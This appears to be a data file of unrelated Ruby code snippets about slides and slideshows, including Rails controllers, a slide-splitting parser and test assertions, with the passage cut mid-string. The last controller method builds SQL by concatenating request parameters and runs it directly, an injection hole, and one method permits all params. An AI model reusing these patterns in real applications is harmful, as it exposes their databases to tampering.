'\\sum_{i=0}^N{P(X = i)} = 1' ])\n\n check_slide(slides[9], 'Slide 2.10', true, false,\n [ Domain::Source ],\n [ \" 0011 3 1101 -3 0111 7\\n\" +\n \"+ 0010 + 2 + 1110 + -2 + 1011 + -5\\n\" +\n \"------ --- ------ ---- ------ ----\\n\" +\n '= 0101 = 5 = 1011 = -5 = 0010 = 2' ],\n false)\n\n check_slide(slides[10], 'Slide 2.11', false, false,\n [ Domain::UnorderedList, Domain::Text, Domain::UnorderedList ]) do |e|\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n\n assert_equal('Example', e[1].to_s)\n\n assert_equal('Item 3', e[2].entries[0].to_s)\n assert_equal('Item 4', e[2].entries[1].to_s)\n end\n\n check_slide(slides[11], 'Slide 2.12', false, false,\n [ Domain::OrderedList, Domain::Text, Domain::OrderedList ]) do |e|\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n\n assert_equal(1, e[0].start_number)\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n assert_equal('Item 3', e[0].entries[2].to_s)\n\n assert_equal('Text', e[1].to_s)\n\n assert_equal(4, e[2].start_number)\n assert_equal('Item 4', e[2].entries[0].to_s)\n assert_equal('Item 5', e[2].entries[1].to_s)\n assert_equal('Item 6', e[2].entries[2].to_s)\n end\n\n check_slide(slides[12], 'Slide 2.13', false, false,\n [ Domain::OrderedList ]) do |e|\n\n assert_equal(4, e[0].start_number)\n assert_equal('Item 4', e[0].entries[0].to_s)\n assert_equal('Item 5', e[0].entries[1].to_s)\n assert_equal('Item 6', e[0].entries[2].to_s)\n end\n\n check_slide(slides[13], 'Slide 2.14', false, false,\n [ Domain::OrderedList ]) do |e|\n\n assert_equal(1, e[0].start_number)\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n assert_equal('Item 2.1', e[0].entries[2].entries[0].to_s)\n assert_equal(1, e[0].entries[2].start_number)\n assert_equal('Item 2.2', e[0].entries[2].entries[1].to_s)\n assert_equal('Item 3', e[0].entries[3].to_s)\n assert_equal('Item 4', e[0].entries[4].to_s)\n end\n\n check_slide(slides[14], 'Slide 3.1', true, false,\n [ Domain::Source ],\n [ \"THIS IS SOURCE CODE\\nAT LEAST SOME\" ],\n false) do |e|\n\n assert_equal(\"THIS IS SOURCE CODE\\nAT LEAST SOME\", e[0].to_s)\n assert_equal(\"AT LEAST SOME\", e[1].to_s)\n assert_equal(\"THIS IS SOURCE CODE\\nAT LEAST SOME\", e[2].to_s)\n assert_equal(\"Java\", e[2].language)\n assert_equal(\"AT LEAST SOME\", e[3].to_s)\n assert_equal(\"Java\", e[3].language)\n end\n\n check_slide(slides[15], 'Slide 4.1', false, false,\n [ Domain::Text, Domain::MultipleChoiceQuestions ],\n [],\n false) do |e|\n\n assert_equal(false, e[1].inline)\n\n assert_equal(\"Some text\", e[0].to_s)\n assert_equal(\"A question\", e[1].questions[0].text)\n assert_equal(false, e[1].questions[0].correct)\n assert_equal(\"A correct question\", e[1].questions[1].text)\n assert_equal(true, e[1].questions[1].correct)\n assert_equal(\"A question\", e[1].questions[2].text)\n assert_equal(false, e[1].questions[2].correct)\n assert_equal(\"Some text at the end\", e[2].to_s)\n end\n\n check_slide(slides[16], 'Slide 4.2', false, false,\n [ Domain::Text, Domain::MultipleChoiceQuestions ],\n [],\n false) do |e|\n\n assert_equal(true, e[1].inline)\n\n assert_equal(\"Some text\", e[0].to_s)\n assert_equal(\"A question\", e[1].questions[0].text)\n assert_equal(false, e[1].questions[0].correct)\n assert_equal(\"A correct question\", e[1].questions[1].text)\n assert_equal(true, e[1].questions[1].correct)\n assert_equal(\"A question\", e[1].questions[2].text)\n assert_equal(false, e[1].questions[2].correct)\n assert_equal(\"Some text at the end\", e[2].to_s)\n end\n end",
"def hidden_slides=(v) Axlsx.validate_int v; @hidden_slides = v; end",
"def validate_max_number_slides\n errors.add(:base, :too_many_slides) if @lesson && !@slide && Slide.where(:lesson_id => @lesson.id).count == SETTINGS['max_number_slides_in_a_lesson']\n end",
"def validate_impossible_changes\n if @slide\n errors.add(:lesson_id, :cant_be_changed) if @slide.lesson_id != self.lesson_id\n errors.add(:kind, :cant_be_changed) if @slide.kind != self.kind\n errors.add(:title, :in_cover_it_cant_be_different_by_lessons_title) if @lesson && self.cover? && @slide.title != self.title && @lesson.title != self.title\n end\n end",
"def post_processing_slides( content )\r\n \r\n # 1) add slide break \r\n \r\n if (@markup_type == :markdown && @markdown_libs.first == 'pandoc-ruby') || @markup_type == :rest\r\n content = add_slide_directive_before_div_h1( content )\r\n else\r\n content = add_slide_directive_before_h1( content )\r\n end\r\n\r\n dump_content_to_file_debug_html( content )\r\n\r\n # 2) use generic slide break processing instruction to\r\n # split content into slides\r\n\r\n slide_counter = 0\r\n\r\n slides = []\r\n slide_source = \"\"\r\n \r\n content.each_line do |line|\r\n if line.include?( '<!-- _S9SLIDE_' ) or\r\n line.include?( '<!-- _S9TRANSITION_' ) then\r\n if slide_counter > 0 then # found start of new slide (and, thus, end of last slide)\r\n slides << slide_source # add slide to slide stack\r\n slide_source = \"\" # reset slide source buffer\r\n end\r\n slide_counter += 1\r\n end\r\n slide_source << line\r\n end\r\n \r\n if slide_counter > 0 then\r\n slides << slide_source # add slide to slide stack\r\n slide_source = \"\" # reset slide source buffer \r\n end\r\n\r\n ## split slide source into header (optional) and content/body\r\n ## plus check for (css style) classes\r\n\r\n slides2 = []\r\n transition = nil\r\n transitioncount = 0\r\n slides.each do |slide_source|\r\n slide = Slide.new\r\n\r\n ## check for css style classes \r\n from = 0\r\n while (pos = slide_source.index( /<!-- _S9(SLIDE|STYLE|TRANSITION)_(.*?)-->/m, from ))\r\n type = $1.downcase\r\n klass = $2.strip\r\n if $1 == 'TRANSITION'\r\n transition = klass\r\n transitioncount = 0\r\n klass = 'middle'\r\n logger.debug \\\r\n\" adding css classes (plus middle for #{transition}) from pi #{type}: #{klass}\"\r\n slide.transition = transition + '-title'\r\n else\r\n if transition\r\n transitioncount += 1\r\n slide.transition = \"#{transition}[#{transitioncount}]\"\r\n logger.debug \\\r\n\" adding css classes (plus #{transition}) from pi #{type}: #{klass}\"\r\n else\r\n logger.debug \" adding css classes from pi #{type}: #{klass}\"\r\n end\r\n end\r\n\r\n if slide.classes.nil?\r\n slide.classes = klass\r\n else\r\n slide.classes << \" #{klass}\"\r\n end\r\n \r\n from = Regexp.last_match.end(0)\r\n end\r\n \r\n # try to cut off header using non-greedy .+? pattern; tip test regex online at rubular.com\r\n # note/fix: needs to get improved to also handle case for h1 wrapped into div\r\n # (e.g. extract h1 - do not assume it starts slide source)\r\n if slide_source =~ /^\\s*(<h1.*?>.*?<\\/h\\d>)\\s*(.*)/m \r\n slide.header = $1\r\n slide.content = ($2 ? $2 : \"\")\r\n logger.debug \" adding slide with header:\\n#{slide.header}\"\r\n else\r\n slide.content = slide_source\r\n logger.debug \" adding slide with *no* header:\\n#{slide.content}\"\r\n end\r\n slides2 << slide\r\n end\r\n\r\n # for convenience create a string w/ all in-one-html\r\n # no need to wrap slides in divs etc.\r\n \r\n content2 = \"\"\r\n slides2.each do |slide| \r\n content2 << slide.to_classic_html\r\n end\r\n \r\n # make content2 and slide2 available to erb template\r\n # -- todo: cleanup variable names and use attr_readers for content and slide\r\n \r\n @slides = slides2 # strutured content \r\n @content = content2 # content all-in-one \r\n end",
"def set_slide\n @slide = Slide.nondraft.find(params[:id])\n end",
"def perform_slide target_position\n current_position = self.pos\n if valid_slide?(target_position)\n move!(target_position)\n return true\n else\n return false\n end\n end",
"def init_validation\n @slide = Valid.get_association self, :id\n @lesson = Valid.get_association self, :lesson_id\n end",
"def validate_title\n errors.add(:title, :must_be_null_in_this_slide) if !self.allows_title? && !self.title.nil?\n end",
"def show_slide\n @slide = @slideshow.slides[session[:slide_index]]\n session[:slide_index] += 1\n if @slide.nil?\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n end\n render partial: \"show_slides\"\n end",
"def perform_slide?(to_pos)\n if @king\n valid_moves = self.king_slides\n else\n valid_moves = self.pawn_slides\n end\n \n if valid_moves.include?(to_pos)\n self.maybe_promote(to_pos) if @king == false\n return true\n end\n \n false\n end",
"def create\n newparams = coerce(params) \n @slide = Slide.new(newparams[:slide])\n @slide.name = @slide.image_file_name\n @slide.position = @slide.presentation.slides.count + 1\n if @slide.save\n flash[:notice] = \"Successfully created slide.\"\n respond_to do |format| \n format.html {redirect_to @slide.presentation} \n format.json { render :json => { :result => 'success', :slide => slide_url(@slide) } }\n end\n else\n render :action => 'new'\n end\n end",
"def slide!(uploaded: nil, duration: nil)\n # we remove all except sufficient files so that the duration\n # is at least 3 times greater than the target duration\n media_segments.each do | ms |\n return if (@playlist.total_duration - ms.duration) \\\n < minimum_duration(duration)\n delete_media_segment(ms.path)\n end\n return unless uploaded\n\n media_segment.each do | ms |\n msg = \"WARNING! Media Segment #{ms.path} in slide window has NOT \"\\\n 'been uploaded. Upload bandwidth insufficient for live stream!'\n handle_error(msg) unless uploaded.include?(ms.path)\n end\n end",
"def next_slide()\n if @current_slide < @total_slides - 1\n @current_slide += 1\n end\n end",
"def perform_slide(end_pos)\n return false unless valid_slide?(end_pos)\n\n move!(end_pos)\n true\n end",
"def perform_slide(move)\n raise IllegalMoveError.new unless slides.include? move\n\n perform_move(move)\n end",
"def show_slide\n @slideshow = session[:slideshow]\n session[:slide_index] += 1\n @slide = @slideshow.slides[session[:slide_index]]\n if @slide == nil\n session[:slide_index] = 0\n @slide = @slideshow.slides[session[:slide_index]]\n end\n render :partial => \"show_slide\"\n end",
"def return_slide_and_data\n target_sentence = nil\n loop do\n target_word = @enrolment_manager.next_word\n return { service: 'EMPTY' } if target_word.nil?\n target_sentence = @next_sentence_retriever.retrieve(target_word)\n break if target_sentence.present?\n @enrolment_manager.assign_status(target_word, EXHAUSTED)\n end\n SlideConstructor.new(@enrolment_manager, target_sentence).construct\n end",
"def slides\n @id = params[:id]\n @item = Item.find(@id)\n begin\n @slides = @item.images.where(['publish=?', true]).order('position')\n rescue => error\n flash[:error] = error.message\n ensure\n # no slides found so create some\n if @slides.empty?\n @slides = @item.create_images\n end\n end\n unless @id.nil? || @slides.nil? || @slides.empty?\n respond_to do |format|\n format.xml\n end\n else\n flash[:error] = 'Unable to locate process slides for id number ' + params[:id].to_s + '.'\n end\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def render(slide)\n send(\"render_#{slide[1]}\", slide[0]) if slide[0] =~ /\\S/\nend",
"def wait_for_slide\n sleep JQUERY_DEFAULT_SLIDE_DURATION\n end",
"def update\n @title = t('view.slides.edit_title')\n @slide = @lesson.slides.find(params[:id])\n\n respond_to do |format|\n if @slide.update slide_params\n format.html { redirect_to(course_lesson_url(@lesson.course, @lesson, anchor: @slide.anchor), notice: t('view.slides.correctly_updated')) }\n format.json { head :ok }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n\n rescue ActiveRecord::StaleObjectError\n redirect_to edit_lesson_slide_url(@lesson, @slide), alert: t('view.slides.stale_object_error')\n end",
"def slide_params\n valid_params = params.require(:slide).permit(:theme_id, :sort_order)\n valid_params[:presentation_id] = params[:presentation_id]\n valid_params\n end",
"def create\n @slide = Slide.new(slide_params)\n @slide.presentation = @presentation\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to location: presentation_slides_url(@presentation), notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def elide?\n false\n end",
"def delete_slideshow_if_empty\n if slideshow.try(:new_record?) && !slideshow.active? && slideshow.slideshow_items.empty?\n slideshow.mark_for_destruction\n end\n end",
"def slides=(v)\n Axlsx.validate_int v\n @slides = v\n end",
"def elide? # :nodoc:\n true\n end",
"def index\n @contents = @slide.contents\n redirect_to new_presentation_slide_content_path(@presentation, @slide) unless @contents.any?\n end",
"def slide\n slde = { start_date: mk_date(start_year),\n end_date: mk_date((end_year.presence || start_year)),\n text: mk_text(body, name) }\n if image.attached?\n slde['media'] = { url: cover_url.to_s,\n link: url }\n end\n slde\n end",
"def elide? # :nodoc:\n true\n end",
"def post_processing_slides( content )\n \n # 1) add slide breaks\n \n if config.slide? # only allow !SLIDE directives fo slide breaks?\n # do nothing (no extra automagic slide breaks wanted)\n else \n if (@markup_type == :markdown && Markdown.lib == 'pandoc-ruby') || @markup_type == :rest\n content = add_slide_directive_before_div_h1( content )\n else\n if config.header_level == 2\n content = add_slide_directive_before_h2( content )\n else # assume level 1\n content = add_slide_directive_before_h1( content )\n end\n end\n end\n\n\n dump_content_to_file_debug_html( content )\n\n # 2) use generic slide break processing instruction to\n # split content into slides\n\n slide_counter = 0\n\n slides = []\n slide_buf = \"\"\n \n content.each_line do |line|\n if line.include?( '<!-- _S9SLIDE_' )\n if slide_counter > 0 # found start of new slide (and, thus, end of last slide)\n slides << slide_buf # add slide to slide stack\n slide_buf = \"\" # reset slide source buffer\n else # slide_counter == 0\n # check for first slide with missing leading SLIDE directive (possible/allowed in takahashi, for example)\n ## remove html comments and whitspaces (still any content?)\n ### more than just whitespace? assume its a slide\n if slide_buf.gsub(/<!--.*?-->/m, '').gsub( /[\\n\\r\\t ]/, '').length > 0\n logger.debug \"add slide with missing leading slide directive >#{slide_buf}< with slide_counter == 0\"\n slides << slide_buf\n slide_buf = \"\"\n else\n logger.debug \"skipping slide_buf >#{slide_buf}< with slide_counter == 0\"\n end\n end\n slide_counter += 1\n end\n slide_buf << line\n end\n \n if slide_counter > 0\n slides << slide_buf # add slide to slide stack\n slide_buf = \"\" # reset slide source buffer \n end\n\n\n slides2 = []\n slides.each do |source|\n slides2 << Slide.new( source, config )\n end\n\n\n puts \"#{slides2.size} slides found:\"\n \n slides2.each_with_index do |slide,i|\n print \" [#{i+1}] \"\n if slide.header.present?\n print slide.header\n else\n # remove html comments\n print \"-- no header -- | #{slide.content.gsub(/<!--.*?-->/m, '').gsub(/\\n/,'$')[0..40]}\"\n end\n puts\n end\n \n \n # make content2 and slide2 available to erb template\n # -- todo: cleanup variable names and use attr_readers for content and slide\n\n ### fix: use class SlideDeck or Deck?? for slides array?\n \n content2 = \"\"\n slides2.each do |slide|\n content2 << slide.to_classic_html\n end\n \n @content = content2\n @slides = slides2 # strutured content\n end",
"def setup_cutin_slide\n return TSBS.error(@acts[0], 2, @used_sequence) if @acts.size < 3\n get_spriteset.cutin.slide(@acts[1], @acts[2], @acts[3])\n end",
"def set_slide\n @slide = Slide.where(id: params[:id]).accessible_by(current_ability).take\n end",
"def create\n\n @pslide = Pslide.new(params[:pslide])\n markup_hash=Hash.new\n @pslide.markup=markup_hash\n\n respond_to do |format|\n if @pslide.save\n if params[:prez_id]\n @prez = Presentation.find(params[:prez_id])\n @prezpslide=PresentationsPslide.new\n if @lastsno=PresentationsPslide.find_last_by_presentation_id(@prez.id)\n @sno=@lastsno.sequence_number.to_i + 1\n else\n @sno=1\n end\n\n @prezpslide.presentation_id=@prez.id\n @prezpslide.pslide_id=@pslide.id\n @prezpslide.sequence_number=@sno\n @prezpslide.save\n\n format.html { redirect_to \"/#{@prez.name}/pslides/#{@pslide.id}\", notice: 'Pslide was successfully created.' }\n format.json { render json: @pslide, status: :created, location: @pslide }\n else\n format.html { redirect_to @pslide, notice: 'Pslide was successfully created.' }\n format.json { render json: @pslide, status: :created, location: @pslide }\n end\n else\n format.html { render view_presentation_path(@prez), notice: 'Pick a Ptemplate the next time' }\n format.json { render json: @pslide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: \"Slide was successfully created.\" }\n format.json { render :show, status: :created, location: @slide }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def valid_moves(starting_position, board, owner)\n next_pos = [starting_position[0] + @move[0], starting_position[1] + @move[1]]\n return non_slide_move(next_pos, board, owner) unless @sliding\n\n generate_slide_moves(next_pos, board, owner)\n end",
"def check_ready_for_analysis?(se)\n temp = Sequence_event.new(se)\n check_transferred?(temp.to_s, @done_slides)\n end",
"def create\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build slide_params\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to(course_lesson_url(@lesson.course, @lesson, anchor: @slide.anchor), notice: t('view.slides.correctly_created')) }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def valid?; end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def greedy_cycle(photos, name: \"Greedy Cycle\")\n # return SlideShow.new(name: name) if photos.size > GREEDY_LIMIT\n\n # if slides == nil\n # slides = []\n\n # photos.each do |photo|\n # slides << Slide.new([photo])\n # end\n # else\n # # slides = slides\n # end\n\n slides = verts(photos).slides\n\n curr_slide = slides.shift\n cycle = [curr_slide]\n\n # Then we don't search the full region for the really juicy values\n # how abotu we put in a shortcut heurisitc that syas hey if we've foudn apretty godo bmatch already so let's stop searching\n # And wehn teh list is long we can short cut relatively low\n # and when teh list is longer we can short cut later\n\n threshold = 4 # idk made this starting param up\n\n while slides.size > 0\n best_score = -1\n best_slide = nil\n best_slide_index = -1\n\n slides.each_with_index do |next_slide, index|\n score = SlideShow.transition_score(curr_slide, next_slide)\n if score > best_score\n best_score = score\n best_slide = next_slide\n best_slide_index = index\n end\n if best_score >= curr_slide.tags.size / 2\n # WE can't get a better score so stop here\n # and move on\n break\n end\n\n # this is an optimization to speed up search\n # if best_score >= threshold\n # break\n # end\n end\n\n # we know the best next slide now!\n cycle << best_slide\n curr_slide = best_slide\n slides.delete_at(best_slide_index)\n # update threshold\n # lol on unweighted average\n # threshold = (threshold + best_score) / 2\n end\n\n SlideShow.new(slides: cycle, name: name)\n end",
"def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @page_slide = Slide.new(params[:page_slide])\n\n respond_to do |format|\n if @page_slide.save\n format.html { redirect_to @page_slide, notice: 'Slide was successfully created.' }\n format.json { render json: @page_slide, status: :created, location: @page_slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def setup_target_slide\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n args = [@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0]\n if area_flag\n target_array.each do |target|\n target.slide(*args)\n end\n return\n end\n target.slide(*args)\n end",
"def update\n @slide = Slide.find(params[:id])\n @slide.name = params[:slide][:name] unless params[:slide][:name].nil?\n @slide.position = params[:slide][:position] unless params[:slide][:position].nil?\n if @slide.update_attributes(params[:slide])\n flash[:notice] = \"Successfully updated slide.\"\n redirect_to @slide.presentation\n else\n render :action => 'edit'\n end\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n @inf = @slide.inform_id\n end",
"def following\n self.new_record? ? nil : Slide.where(:lesson_id => self.lesson_id, :position => (self.position + 1)).first\n end",
"def valid?\n\t\treturn !(self.show.empty? or self.season.zero? or self.episode.zero?)\n\tend",
"def update\n respond_to do |format|\n if @slide.update(slide_params)\n format.html { redirect_to presentation_slide_url(@presentation, @slide), notice: 'Slide was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_title_from_slide_text(slide_text)\n\n end",
"def create\n inform = Inform.find(params[:inform_id])\n slide = inform.slides.build(slide_params)\n slide.user_id = current_user.id\n\n if slide.save\n redirect_to inform, notice: 'La placa ha sido creada exitosamente.'\n else\n render :new\n end\n end",
"def index\n #@deck = Powerpoint::Presentation.new\n # Creating an introduction slide:\n # title = 'Bicycle Of the Mind'\n # subtitle = 'created by Steve Jobs'\n # @deck.add_intro title, subtitle\n\n # Creating a text-only slide:\n # Title must be a string.\n # Content must be an array of strings that will be displayed as bullet items.\n # title = 'Why Mac?'\n # content = ['Its cool!', 'Its light.']\n # @deck.add_textual_slide title, content\n\n # Creating an image Slide:\n # It will contain a title as string.\n # and an embeded image\n #title = 'Everyone loves Macs:'\n #subtitle = 'created by Steve Jobs'\n #content = ['Its cool!', 'Its light.']\n #image_path = ActionController::Base.helpers.asset_path('/app/assets/images/ss.png').to_s\n #image = view_context.image_path 'ss.png'\n #url = 'http://localhost:3000' + image\n #image = view_context.image_path 'https://res.cloudinary.com/indoexchanger/image/upload/v1501168483/qxbvro2yhvibid0ra5rp.jpg'\n #puts image\n #@deck.add_pictorial_slide title, url\n #@deck.add_textual_slide title, subtitle\n #\n\n # Specifying coordinates and image size for an embeded image.\n # x and y values define the position of the image on the slide.\n # cx and cy define the width and height of the image.\n # x, y, cx, cy are in points. Each pixel is 12700 points.\n # coordinates parameter is optional.\n # coords = {x: 124200, y: 3356451, cx: 2895600, cy: 1013460}\n # @deck.add_pictorial_slide title, image_path, coords\n\n # Saving the pptx file to the current directory.\n #@deck.save('mps.pptx')\n # @products = Product.all\n # \n \n @presentation = RubySlides::Presentation.new\n \n chart_title = \"Chart Slide exported from ruby\"\n chart_series = [\n {\n column: \"Col1\",\n rows: [\"Lorem\", \"Ipsum\", \"Dolar\", \"Ismet\"],\n values: [\"1\", \"3\", \"5\", \"7\"]\n },\n {\n column: \"Col2\",\n color: 'FF9800',\n rows: [\"A\", \"B\", \"C\", \"D\"],\n values: [\"2\", \"4\", \"6\", \"8\"]\n }\n ]\n @presentation.chart_slide chart_title, chart_series\n\n @presentation.save('mps.pptx')\n\n @products = Product.order('created_at DESC')\n respond_to do |format|\n format.html\n format.xlsx {\n response.headers['Content-Disposition'] = 'attachment; filename=\"all_products.xlsx\"'\n }\n end\n end",
"def valid; end",
"def hidden_slides=(v)\n Axlsx.validate_int v\n @hidden_slides = v\n end",
"def create\n\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to [:admin, @slide], notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n session[:slideshow] = @slideshow\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n end",
"def update\n respond_to do |format|\n if @slide.update(slide_params)\n format.html { redirect_to @slide, notice: \"Slide was successfully updated.\" }\n format.json { render :show, status: :ok, location: @slide }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n session[:slideshow] = @slideshow\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n\n#respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @slideshow }\n# end\n end",
"def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to slides_url, notice: '幻灯片创建成功.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_presentation_id(slide_url)\n starting_index = slide_url.index(\"/d/\")\n # Following string matching seems to be lengthy, But is faster the Regular Exp.\n ending_index = slide_url.index(\"/present#slide\") || slide_url.index(\"/present?slide\") || slide_url.index(\"/edit#slide\") || slide_url.index(\"/edit?slide\")\n return nil unless ending_index and starting_index\n presentation_id = slide_url[starting_index + 3..ending_index-1]\n end",
"def set_slide\n @slide = Slide.find(params[:id])\n end",
"def setup_smooth_slide\n tx = @acts[1] + x || 0\n ty = @acts[2] + y || 0\n dur = @acts[3] || 25\n rev = @acts[4]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end",
"def setup_smooth_slide\n tx = @acts[1] + x || 0\n ty = @acts[2] + y || 0\n dur = @acts[3] || 25\n rev = @acts[4]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end",
"def slide_params\n params.require(:slide).permit(:title, :header, :number, :body, :presentation_id)\n end",
"def slide_params\n params.require(:slide).permit!\n end",
"def create\n @rss_slide = RssSlide.new(params[:rss_slide])\n\n respond_to do |format|\n if @rss_slide.save\n format.html { redirect_to(@rss_slide, :notice => 'Rss slide was successfully created.') }\n format.xml { render :xml => @rss_slide, :status => :created, :location => @rss_slide }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rss_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def orbit_slideshow_frame(slide, position=0)\n link_options = {}\n if slide.is_a?(Artist)\n artist = slide\n artist_brand = artist.artist_brands.where(brand_id: website.brand_id).first\n\n slide_content = link_to(artist) do\n image_tag(artist.artist_photo.url(:feature), alt: artist.name, lazy: false) +\n content_tag(:div, class:\"orbit-caption\") do\n content_tag(:h2, artist.name) +\n content_tag(:p, artist_brand.intro.to_s.html_safe)\n end\n end\n elsif slide.string_value.to_s.match(/^((?:https?:)?\\/\\/)?((?:www|m)\\.)?((?:youtube\\.com|youtu.be))(\\/(?:[\\w\\-]+\\?v=|embed\\/|v\\/)?)([\\w\\-]+)(\\S+)?$/i)\n video_id = $5\n\n slide_content = link_to(play_video_url(video_id), target: \"_blank\", class: \"start-video\", data: { videoid: video_id } ) do\n image_tag(slide.slide.url, lazy: false)\n end\n else\n slide_link = (slide.string_value =~ /^\\// || slide.string_value =~ /^http/i) ? slide.string_value : \"/#{params[:locale]}/#{slide.string_value}\"\n\n if slide.string_value.to_s.match(/http/i)\n unless slide.string_value.to_s.match(/#{website.url}/i)\n link_options[:target] = \"_blank\"\n end\n end\n slide_innards = image_tag(slide.slide.url, alt: slide.name, lazy: false)\n if slide.text_value.present?\n slide_innards += content_tag(:div, class: \"homepage-orbit-caption orbit-caption\") do\n content_tag(:div, slide.text_value.html_safe, class: \"caption-content\")\n end\n end\n\n slide_content = (slide.string_value.blank?) ?\n slide_innards :\n link_to(slide_innards, slide_link, link_options)\n end\n\n # We may want to use the built-in captions\n # slide_content += content_tag(:div, \"caption content\", class: \"orbit-caption\")\n content_tag(:li, slide_content)\n end",
"def show\n @contents = @slide.contents\n end",
"def create\n return false if !userCan :slide\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n if params[:projector_add] then\n params[:projector_add].each {|v|\n Projector.find(v).update_attributes(:slide_id => params[:id]);\n Message.Command(:id => \"projector-#{v}\", :cmd => \"load\", :slide => params[:id])\n }\n end\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tbl_slide = TblSlide.new(tbl_slide_params)\n\n ################### Require For Paper Clip ##########################\n @tbl_slide = TblSlide.create(tbl_slide_params)\n #####################################################################\n\n respond_to do |format|\n\n if @tbl_slide.save\n @querylast=TblSlide.last()\n @last=@querylast.SlideID\n format.html { redirect_to '/tbl_slides/'+@last.to_s+'/edit/'+@last.to_s, notice: 'Tbl slide was successfully created.' }\n\n if session[:fromeditpage] == 1\n\n ########### Update the Banner ID while adding Slide to the Specific Banner ##############\n\n @querylast=TblSlide.last()\n @last=@querylast.SlideID\n\n query='UPDATE tbl_slides SET \"BannerID\"='+\"#{session[:bannerID]}\" +'Where \"SlideID\"='+\"#{@last}\"+';'\n ActiveRecord::Base.connection.execute(query);\n\n #########################################################################################\n\n ########### Update the Slide Transition From Dropdown while adding Slide to the Specific Banner ##############\n\n @querylastID=TblSlide.last()\n @lastID=@querylastID.SlideID\n\n if params[:slidetrans_hid] == \"\"\n\n @queryfirst=Transition.first()\n\n params[:slidetrans_hid]=@queryfirst.TransitionID\n\n end\n\n @info=Transition.find_by_TransitionID(params[:slidetrans_hid])\n @SlideTrans=@info.TransitionName\n\n\n quer='UPDATE tbl_slides SET \"SlideTransition\"='+\"'\"+\"#{@SlideTrans}\"+\"'\"+' Where \"SlideID\"='+\"#{@lastID}\"+';'\n ActiveRecord::Base.connection.execute(quer);\n\n #############################################################################################################\n\n ################################# Transition Select from the DropDown #######################################\n if params[:transition_hid] == \"\"\n params[:transition_hid]=\"2d\"\n end\n qy='UPDATE tbl_slides SET \"Transition\"='+\"'\"+params[:transition_hid]+\"'\"+'Where \"SlideID\"='+\"#{@lastID}\"+';'\n ActiveRecord::Base.connection.execute(qy);\n #############################################################################################################\n\n\n\n ################################## Add Div of Layer Slider #################################################\n\n\n @infobanner=TblBanner.find_by_BannerID(session[:bannerID])\n @placeholder=@infobanner.PlaceHolder\n\n #################################### Settings Info #####################################################\n if params[:slidesetting_hid]==\"\"\n @slidesettinginfo=TblSlideSetting.first()\n params[:slidesetting_hid]=@slidesettinginfo.SlideSettingID\n\n end\n quer_sett='UPDATE tbl_slides SET \"Setting\"='+\"'\"+\"#{params[:slidesetting_hid]}\"+\"'\"+' Where 